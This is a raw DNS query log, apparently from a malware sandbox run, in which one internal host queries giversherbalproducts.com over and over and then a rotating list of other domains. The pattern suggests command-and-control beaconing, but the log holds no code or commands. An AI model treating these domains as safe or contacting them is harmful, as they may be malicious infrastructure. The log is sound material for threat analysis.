Oct 4, 2021 16:02:03.169684887 CEST	192.168.2.3	8.8.8.8	0xc6dc	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:03.918672085 CEST	192.168.2.3	8.8.8.8	0xf1fc	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:03.940854073 CEST	192.168.2.3	8.8.8.8	0x3ed3	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:04.089636087 CEST	192.168.2.3	8.8.8.8	0xd808	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:04.112766981 CEST	192.168.2.3	8.8.8.8	0xa46b	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:04.700774908 CEST	192.168.2.3	8.8.8.8	0x6049	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:04.723174095 CEST	192.168.2.3	8.8.8.8	0xc3f6	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:04.944722891 CEST	192.168.2.3	8.8.8.8	0x743e	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:04.969255924 CEST	192.168.2.3	8.8.8.8	0x320f	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:05.506464005 CEST	192.168.2.3	8.8.8.8	0xa878	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:05.527837038 CEST	192.168.2.3	8.8.8.8	0xf3e4	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:05.819294930 CEST	192.168.2.3	8.8.8.8	0x3c4d	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:05.846352100 CEST	192.168.2.3	8.8.8.8	0x45c6	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:06.400383949 CEST	192.168.2.3	8.8.8.8	0x7332	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:06.426444054 CEST	192.168.2.3	8.8.8.8	0x5dce	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:06.713049889 CEST	192.168.2.3	8.8.8.8	0x2dc9	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:06.744029045 CEST	192.168.2.3	8.8.8.8	0xd0e4	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:07.272833109 CEST	192.168.2.3	8.8.8.8	0xc310	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:07.760298967 CEST	192.168.2.3	8.8.8.8	0xe902	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:07.807717085 CEST	192.168.2.3	8.8.8.8	0x3f3b	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:08.123902082 CEST	192.168.2.3	8.8.8.8	0x4845	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:08.617960930 CEST	192.168.2.3	8.8.8.8	0xfdd4	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:08.887145996 CEST	192.168.2.3	8.8.8.8	0xc45c	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:09.562819958 CEST	192.168.2.3	8.8.8.8	0x6274	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:09.629757881 CEST	192.168.2.3	8.8.8.8	0x4f	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:11.344497919 CEST	192.168.2.3	8.8.8.8	0x729	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:11.386147022 CEST	192.168.2.3	8.8.8.8	0xf285	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:13.366156101 CEST	192.168.2.3	8.8.8.8	0xe766	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:13.398335934 CEST	192.168.2.3	8.8.8.8	0xc078	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:14.246218920 CEST	192.168.2.3	8.8.8.8	0xc03d	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:14.256041050 CEST	192.168.2.3	8.8.8.8	0x5bef	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:15.077099085 CEST	192.168.2.3	8.8.8.8	0xb7da	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:15.295310020 CEST	192.168.2.3	8.8.8.8	0x9a4a	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:15.925231934 CEST	192.168.2.3	8.8.8.8	0xe857	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:16.163446903 CEST	192.168.2.3	8.8.8.8	0xc458	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:16.850497961 CEST	192.168.2.3	8.8.8.8	0x85ba	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:16.965142965 CEST	192.168.2.3	8.8.8.8	0xd08d	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:17.730196953 CEST	192.168.2.3	8.8.8.8	0xf5e8	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:17.750071049 CEST	192.168.2.3	8.8.8.8	0xa0d7	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:18.577044010 CEST	192.168.2.3	8.8.8.8	0x20a3	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:18.595208883 CEST	192.168.2.3	8.8.8.8	0xc3a7	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:19.412384033 CEST	192.168.2.3	8.8.8.8	0x52ba	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:19.412430048 CEST	192.168.2.3	8.8.8.8	0x5fe5	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:20.356241941 CEST	192.168.2.3	8.8.8.8	0x60f2	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:20.424978018 CEST	192.168.2.3	8.8.8.8	0x5a44	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:21.183365107 CEST	192.168.2.3	8.8.8.8	0x894b	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:21.326242924 CEST	192.168.2.3	8.8.8.8	0xf2f6	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:21.932022095 CEST	192.168.2.3	8.8.8.8	0x6d4c	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:22.340367079 CEST	192.168.2.3	8.8.8.8	0x4adf	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:22.954401970 CEST	192.168.2.3	8.8.8.8	0x4a64	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:23.334091902 CEST	192.168.2.3	8.8.8.8	0x89fc	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:23.710144997 CEST	192.168.2.3	8.8.8.8	0x3e99	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:24.199032068 CEST	192.168.2.3	8.8.8.8	0x87d5	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:25.184948921 CEST	192.168.2.3	8.8.8.8	0x1978	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:26.112854958 CEST	192.168.2.3	8.8.8.8	0x4493	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:26.958607912 CEST	192.168.2.3	8.8.8.8	0xe99a	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:27.474061012 CEST	192.168.2.3	8.8.8.8	0x25ba	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:27.864545107 CEST	192.168.2.3	8.8.8.8	0x8e3a	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:28.265805006 CEST	192.168.2.3	8.8.8.8	0x8ad3	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:28.645296097 CEST	192.168.2.3	8.8.8.8	0x376e	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:29.100389957 CEST	192.168.2.3	8.8.8.8	0xc737	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:29.478168011 CEST	192.168.2.3	8.8.8.8	0x4cf3	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:30.030090094 CEST	192.168.2.3	8.8.8.8	0xb9db	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:30.567969084 CEST	192.168.2.3	8.8.8.8	0x6174	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:30.908173084 CEST	192.168.2.3	8.8.8.8	0x6f75	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:31.407205105 CEST	192.168.2.3	8.8.8.8	0xbb3b	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:31.763186932 CEST	192.168.2.3	8.8.8.8	0x7713	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:32.535864115 CEST	192.168.2.3	8.8.8.8	0x14c8	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:33.498739958 CEST	192.168.2.3	8.8.8.8	0x61bf	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:34.281177998 CEST	192.168.2.3	8.8.8.8	0xe93c	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:35.149389029 CEST	192.168.2.3	8.8.8.8	0xd5b	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:35.432785988 CEST	192.168.2.3	8.8.8.8	0xbf07	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:36.058047056 CEST	192.168.2.3	8.8.8.8	0xb80f	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:36.279180050 CEST	192.168.2.3	8.8.8.8	0x923c	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:36.932380915 CEST	192.168.2.3	8.8.8.8	0x75bb	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:37.036303997 CEST	192.168.2.3	8.8.8.8	0x9c05	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:37.742223024 CEST	192.168.2.3	8.8.8.8	0x9ef9	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:37.963150024 CEST	192.168.2.3	8.8.8.8	0x4598	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:38.682876110 CEST	192.168.2.3	8.8.8.8	0xb229	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:38.929816008 CEST	192.168.2.3	8.8.8.8	0x4369	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:39.845979929 CEST	192.168.2.3	8.8.8.8	0x3d2a	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:40.034272909 CEST	192.168.2.3	8.8.8.8	0x38e	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:40.590502977 CEST	192.168.2.3	8.8.8.8	0xec41	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:40.783288002 CEST	192.168.2.3	8.8.8.8	0x55fb	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:41.731348038 CEST	192.168.2.3	8.8.8.8	0xa960	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:41.798031092 CEST	192.168.2.3	8.8.8.8	0xb990	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:42.682384968 CEST	192.168.2.3	8.8.8.8	0xa532	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:42.694417953 CEST	192.168.2.3	8.8.8.8	0xba88	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:43.487390041 CEST	192.168.2.3	8.8.8.8	0x44dd	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:43.579982042 CEST	192.168.2.3	8.8.8.8	0xba14	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:44.286205053 CEST	192.168.2.3	8.8.8.8	0xe3c3	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:44.930054903 CEST	192.168.2.3	8.8.8.8	0x980c	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:45.108123064 CEST	192.168.2.3	8.8.8.8	0xf4a7	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:45.887391090 CEST	192.168.2.3	8.8.8.8	0xc916	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:45.900413990 CEST	192.168.2.3	8.8.8.8	0xa02d	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:46.737272978 CEST	192.168.2.3	8.8.8.8	0x70ea	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:46.762088060 CEST	192.168.2.3	8.8.8.8	0xd75a	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:47.487030983 CEST	192.168.2.3	8.8.8.8	0x8a54	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:47.732155085 CEST	192.168.2.3	8.8.8.8	0x9efe	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:48.285020113 CEST	192.168.2.3	8.8.8.8	0xb756	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:48.755171061 CEST	192.168.2.3	8.8.8.8	0x213a	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:49.057843924 CEST	192.168.2.3	8.8.8.8	0x30bb	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:49.670322895 CEST	192.168.2.3	8.8.8.8	0xba92	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:49.963195086 CEST	192.168.2.3	8.8.8.8	0xd926	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:50.564393044 CEST	192.168.2.3	8.8.8.8	0x6741	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:50.785248995 CEST	192.168.2.3	8.8.8.8	0x9b99	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:51.527468920 CEST	192.168.2.3	8.8.8.8	0x59db	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:51.544284105 CEST	192.168.2.3	8.8.8.8	0xc54f	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:52.386730909 CEST	192.168.2.3	8.8.8.8	0x4d8a	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:52.502444983 CEST	192.168.2.3	8.8.8.8	0xe9f2	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:53.201955080 CEST	192.168.2.3	8.8.8.8	0x7c0b	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:53.311134100 CEST	192.168.2.3	8.8.8.8	0xbdd	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:54.090544939 CEST	192.168.2.3	8.8.8.8	0xde7a	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:54.136131048 CEST	192.168.2.3	8.8.8.8	0xb189	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:54.885348082 CEST	192.168.2.3	8.8.8.8	0x3326	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:55.140501022 CEST	192.168.2.3	8.8.8.8	0x23c8	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:55.875610113 CEST	192.168.2.3	8.8.8.8	0xdb0e	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:56.181411982 CEST	192.168.2.3	8.8.8.8	0x334f	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:56.701841116 CEST	192.168.2.3	8.8.8.8	0xa8a9	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:56.983448982 CEST	192.168.2.3	8.8.8.8	0x915f	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:57.653944969 CEST	192.168.2.3	8.8.8.8	0xa35f	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:58.028167963 CEST	192.168.2.3	8.8.8.8	0x55a5	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:58.468672037 CEST	192.168.2.3	8.8.8.8	0x42ee	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:58.850028992 CEST	192.168.2.3	8.8.8.8	0xbd4f	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:59.221406937 CEST	192.168.2.3	8.8.8.8	0x8552	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:02:59.604931116 CEST	192.168.2.3	8.8.8.8	0x6e8d	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:00.066725016 CEST	192.168.2.3	8.8.8.8	0x40b1	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:00.545147896 CEST	192.168.2.3	8.8.8.8	0xc444	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:00.981645107 CEST	192.168.2.3	8.8.8.8	0xb574	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:01.420058012 CEST	192.168.2.3	8.8.8.8	0xbd95	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:01.875488043 CEST	192.168.2.3	8.8.8.8	0x87bb	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:02.203031063 CEST	192.168.2.3	8.8.8.8	0x671f	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:02.716557980 CEST	192.168.2.3	8.8.8.8	0xd135	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:03.257615089 CEST	192.168.2.3	8.8.8.8	0xd6ed	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:03.534897089 CEST	192.168.2.3	8.8.8.8	0x91ce	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:04.180802107 CEST	192.168.2.3	8.8.8.8	0xafba	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:04.355552912 CEST	192.168.2.3	8.8.8.8	0x21b0	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:05.147660017 CEST	192.168.2.3	8.8.8.8	0x9840	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:05.337827921 CEST	192.168.2.3	8.8.8.8	0xb53	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:06.025770903 CEST	192.168.2.3	8.8.8.8	0x3d29	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:06.139866114 CEST	192.168.2.3	8.8.8.8	0xfb29	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:06.859416008 CEST	192.168.2.3	8.8.8.8	0xe7c4	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:06.906454086 CEST	192.168.2.3	8.8.8.8	0x2431	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:07.733405113 CEST	192.168.2.3	8.8.8.8	0xe8d5	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:07.785753012 CEST	192.168.2.3	8.8.8.8	0xdc5d	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:08.543193102 CEST	192.168.2.3	8.8.8.8	0xa340	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:08.661338091 CEST	192.168.2.3	8.8.8.8	0x4f54	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:09.372692108 CEST	192.168.2.3	8.8.8.8	0xdba7	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:09.450450897 CEST	192.168.2.3	8.8.8.8	0x7946	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:10.269886971 CEST	192.168.2.3	8.8.8.8	0x2f39	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:10.270028114 CEST	192.168.2.3	8.8.8.8	0xe309	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:11.124166012 CEST	192.168.2.3	8.8.8.8	0x2afe	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:11.136980057 CEST	192.168.2.3	8.8.8.8	0xf2df	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:11.893225908 CEST	192.168.2.3	8.8.8.8	0xeb7f	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:11.939855099 CEST	192.168.2.3	8.8.8.8	0x6e93	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:12.693273067 CEST	192.168.2.3	8.8.8.8	0x7cde	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:12.793119907 CEST	192.168.2.3	8.8.8.8	0x6a5f	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:13.450779915 CEST	192.168.2.3	8.8.8.8	0xdcb2	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:13.669861078 CEST	192.168.2.3	8.8.8.8	0xe8b8	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:14.210236073 CEST	192.168.2.3	8.8.8.8	0xe90f	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:15.455144882 CEST	192.168.2.3	8.8.8.8	0xfc98	Standard query (0)	opulent-imports.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:15.510735035 CEST	192.168.2.3	8.8.8.8	0x3b15	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:17.389204979 CEST	192.168.2.3	8.8.8.8	0xfc98	Standard query (0)	opulent-imports.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:17.694911957 CEST	192.168.2.3	8.8.8.8	0xac38	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:17.895476103 CEST	192.168.2.3	8.8.8.8	0x7284	Standard query (0)	nitro2point0.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:18.724430084 CEST	192.168.2.3	8.8.8.8	0xb49c	Standard query (0)	streamline-trade.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:19.338916063 CEST	192.168.2.3	8.8.8.8	0xd7ff	Standard query (0)	sologicgroup.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:19.869942904 CEST	192.168.2.3	8.8.8.8	0x6cb7	Standard query (0)	pedroaros.cl	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:20.479370117 CEST	192.168.2.3	8.8.8.8	0xa759	Standard query (0)	apimar.eu	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:21.213754892 CEST	192.168.2.3	8.8.8.8	0x7adc	Standard query (0)	baetrading.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:21.842428923 CEST	192.168.2.3	8.8.8.8	0xcfb2	Standard query (0)	ditrpshop.in	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:22.937541008 CEST	192.168.2.3	8.8.8.8	0x1a92	Standard query (0)	surveillantfire.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:23.234111071 CEST	192.168.2.3	8.8.8.8	0x1e32	Standard query (0)	opulent-imports.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:23.790708065 CEST	192.168.2.3	8.8.8.8	0x53a8	Standard query (0)	dhananialegalaid.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:24.302496910 CEST	192.168.2.3	8.8.8.8	0x2b5e	Standard query (0)	nitro2point0.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:24.865840912 CEST	192.168.2.3	8.8.8.8	0xd4b6	Standard query (0)	aulaintelimundo.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:25.272614956 CEST	192.168.2.3	8.8.8.8	0xa516	Standard query (0)	streamline-trade.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:25.604453087 CEST	192.168.2.3	8.8.8.8	0xaba9	Standard query (0)	muwatin.net	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:25.855345011 CEST	192.168.2.3	8.8.8.8	0x1121	Standard query (0)	sologicgroup.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:26.240060091 CEST	192.168.2.3	8.8.8.8	0xb204	Standard query (0)	nkp.hr	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:26.448813915 CEST	192.168.2.3	8.8.8.8	0x5bd5	Standard query (0)	pedroaros.cl	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:26.947292089 CEST	192.168.2.3	8.8.8.8	0x2c8f	Standard query (0)	kvrassociates.net	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:27.397418976 CEST	192.168.2.3	8.8.8.8	0xf64f	Standard query (0)	baetrading.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:28.181535006 CEST	192.168.2.3	8.8.8.8	0x35a7	Standard query (0)	ditrpshop.in	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:28.438282013 CEST	192.168.2.3	8.8.8.8	0x4755	Standard query (0)	marianaleyton.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:28.921387911 CEST	192.168.2.3	8.8.8.8	0x5911	Standard query (0)	profitshub.in	A (IP address)	IN (0x0001)
